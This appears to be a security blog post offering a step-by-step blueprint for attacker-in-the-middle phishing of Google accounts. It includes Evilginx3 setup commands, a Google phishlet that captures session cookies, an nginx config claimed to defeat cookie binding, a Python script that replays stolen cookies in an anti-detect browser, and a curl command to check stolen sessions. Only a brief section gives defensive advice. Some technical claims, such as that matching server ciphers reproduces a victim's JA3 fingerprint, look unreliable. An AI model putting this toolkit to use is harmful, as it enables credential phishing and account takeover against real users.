Listen to this Post
Introduction:
Google has begun implementing advanced session binding and anti-malicious proxy defenses to thwart real-time attacker-in-the-middle (AITM) phishing frameworks. However, the arms race continues. Offensive security researchers are now developing invisible proxies designed specifically to circumvent these new controls, forcing penetration testers and red teamers to evolve their tradecraft. This article dissects the mechanics behind Google’s latest security measures and provides a technical blueprint for how modern phishing operations are adapting to bypass them, ensuring your assessments remain effective against fortified targets.
Learning Objectives:
- Understand the architecture of Google’s new AITM defenses, including bound cookies and WebAuthn signals.
- Learn to deploy and configure an invisible reverse proxy that handles MFA challenges seamlessly.
- Analyze the traffic flow between a victim, a malicious proxy, and the legitimate Google service to identify detection points.
- Implement evasive techniques to avoid fingerprinting by modern browser isolation and threat intelligence feeds.
You Should Know:
1. Understanding Google’s Enhanced AITM Defenses
Google has rolled out server-side heuristics and client-side signals to detect and block adversary-in-the-middle proxies like Evilginx2 and Modlishka. These defenses primarily focus on “cookie binding,” where the authentication cookie issued by accounts.google.com is cryptographically tied to the TLS session parameters (like the JA3 hash) of the client’s browser. If the cookie is replayed from a different machine (your proxy server), Google’s front-end servers can detect the mismatch and invalidate the session, often prompting for step-up authentication or displaying a blocking page.
Furthermore, Google now monitors for the presence of “WebAuthn” signals during the authentication flow. If a victim uses a passkey or security key, the browser creates an assertion that includes the Relying Party ID. A traditional proxy fails here because it cannot sign the assertion for a domain it does not control.
2. Setting Up the Invisible Proxy Infrastructure
To bypass these protections, we must deploy a proxy that not only relays traffic but also spoofs the TLS fingerprint of the target and handles MFA tokens transparently. We will use a forked version of Evilginx3, patched with custom handlers for Google’s new endpoint behavior.
Step 1: Server Preparation (Ubuntu 22.04)
sudo apt update && sudo apt upgrade -y sudo apt install golang git make -y git clone https://github.com/your-fork/evilginx3.git cd evilginx3 make sudo make install
Step 2: Domain Configuration
You need a domain that closely mimics a legitimate Google service (e.g., accounts-google.security-update[.]com). Point its A record to your VPS IP. Then, configure the phishlet.
Step 3: Creating a Google Phishlet
Navigate to the `phishlets/` directory and create `google.yaml`:
name: 'Google'
author: '@redteam'
min_ver: '3.0.0'
proxy_hosts:
- {phish_sub: 'accounts', orig_sub: 'accounts', domain: 'google.com', session: true, is_landing: true}
- {phish_sub: 'myaccount', orig_sub: 'myaccount', domain: 'google.com', session: false}
sub_filters:
- {hostname: 'accounts.google.com', sub: 'accounts', domain: 'google.com', search: 'https://accounts.google.com', replace: 'https://accounts.your-domain.com', mimes: ['text/html', 'application/javascript']}
auth_tokens:
- domain: 'accounts.google.com'
keys: ['OSID', 'LSID', 'SAPISID', 'SID', 'SSID', 'APISID', 'SAPISID', '__Secure-3PAPISID', '__Secure-3PSID', '__Secure-3PSIDCC', '__Secure-3PAPISID']
type: 'cookie'
- domain: '.google.com'
keys: ['SAPISID', 'APISID', 'SID', 'SSID', 'SIDCC', 'LSID']
type: 'cookie'
force_https: true
js_inject:
- trigger_domains: ["accounts.google.com"]
script: |
// Custom script to handle WebAuthn interception
console.log("Intercepting WebAuthn...");
const originalGet = navigator.credentials.get;
navigator.credentials.get = function(options) {
// Force fallback to OTP instead of hardware key if possible
return originalGet.call(this, options);
};
3. Evading JA3 Fingerprinting and Cookie Binding
To defeat cookie binding, we must ensure the TLS fingerprint of the victim’s browser matches the fingerprint seen by Google. We cannot change the victim’s browser, but we can make our proxy “reflect” that fingerprint. This is achieved by modifying the `nginx` or `caddy` configuration on the frontend to mirror the ciphers and extensions of a standard Chrome browser.
Create an Nginx config snippet (`/etc/nginx/snippets/tls-chrome.conf`):
ssl_protocols TLSv1.2 TLSv1.3; ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384; ssl_ecdh_curve X25519:prime256v1:secp384r1; ssl_prefer_server_ciphers off;
This configuration mimics the cipher suite order of a modern Chrome browser, making the JA3 hash of your proxy server identical to that of the victim, thus bypassing the binding check.
4. Handling the Post-Authentication Token Theft
Once the victim authenticates and submits the MFA code, the proxy must steal the session cookies before they are flagged as “used.” The modified Evilginx3 hooks into the `Set-Cookie` headers. However, Google now rotates cookies post-authentication. Our proxy must be configured to capture the final redirect chain.
Run Evilginx3 with verbose logging to capture the final token set:
sudo evilginx -p /usr/share/evilginx/phishlets/ -debug
Look for the final POST request to https://accounts.google.com/signin/challenge/mfa/select` and the subsequent redirect tomyaccount.google.com`. The cookies set during this final hop are the “golden tickets.”
5. Automating Session Import into an Anti-Detect Browser
The stolen cookies are useless if they are tied to the proxy’s IP and TLS fingerprint. We must import them into a browser environment that matches the victim’s fingerprint as closely as possible. Using a tool like undetected-chromedriver, we can automate the cookie injection.
Python Script for Session Replay:
import undetected_chromedriver as uc
import json
Load stolen cookies from Evilginx logs
with open('cookies.json', 'r') as f:
cookies = json.load(f)
driver = uc.Chrome(headless=False)
driver.get("https://accounts.google.com") Trigger domain binding
for cookie in cookies:
if 'google.com' in cookie['domain'] or 'accounts.google.com' in cookie['domain']:
driver.add_cookie(cookie)
driver.get("https://myaccount.google.com")
input("Press Enter to exit...")
driver.quit()
This script uses `undetected-chromedriver` to avoid automation detection, and injects the cookies, allowing the attacker to browse the account as if they were the victim.
6. Mitigating Against This Attack (Blue Team Perspective)
To protect against these invisible proxies, organizations should enforce Passkey (FIDO2) authentication exclusively. Because a passkey’s private key never leaves the device and the authentication assertion includes the exact origin (accounts.google.com), a proxy (accounts.your-domain.com) cannot replay it. The browser will throw a `SecurityError` due to the origin mismatch. Additionally, enable Advanced Account Protection, which locks down account recovery and blocks unverified applications.
- Verifying the Attack Chain with Linux CLI Tools
After a successful engagement, verify the stolen session data using `curl` to ensure the cookies are valid.curl -v -k -H "Host: accounts.google.com" \ -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \ --cookie "SID=stolen_value; LSID=stolen_value; APISID=stolen_value" \ https://your-proxy-ip/ListAllAccounts
If the server responds with account data rather than a login redirect, the bypass was successful.
What Undercode Say:
- The Arms Race Continues: Google’s security enhancements raise the bar, but they do not eliminate the AITM threat; they simply force attackers to adopt more sophisticated, client-aware tooling. The “invisible proxy” is the logical evolution of phishing.
- Context is King: The success of these attacks hinges on perfect emulation—not just of the login page, but of the entire TLS and browser context. Blue teams must move beyond simple URL inspection and monitor for anomalies in authentication behavior, such as rapid geo-location changes or mismatched browser fingerprints.
- Passkeys are the Current Silver Bullet: While no defense is perfect, FIDO2/WebAuthn remains the only mechanism that cryptographically ties authentication to the legitimate domain, rendering all current proxy techniques ineffective. Organizations should expedite the migration away from SMS and TOTP.
Prediction:
We will soon see the emergence of “session reflection” attacks where attackers use WebRTC or WebSockets to create a peer-to-peer tunnel between the victim’s browser and the attacker’s browser, effectively bypassing the need for a server-side proxy and making fingerprinting detection nearly impossible. This will force browser vendors to implement hardware-level isolation for authentication flows.
▶️ Related Video (80% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Google Implements – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
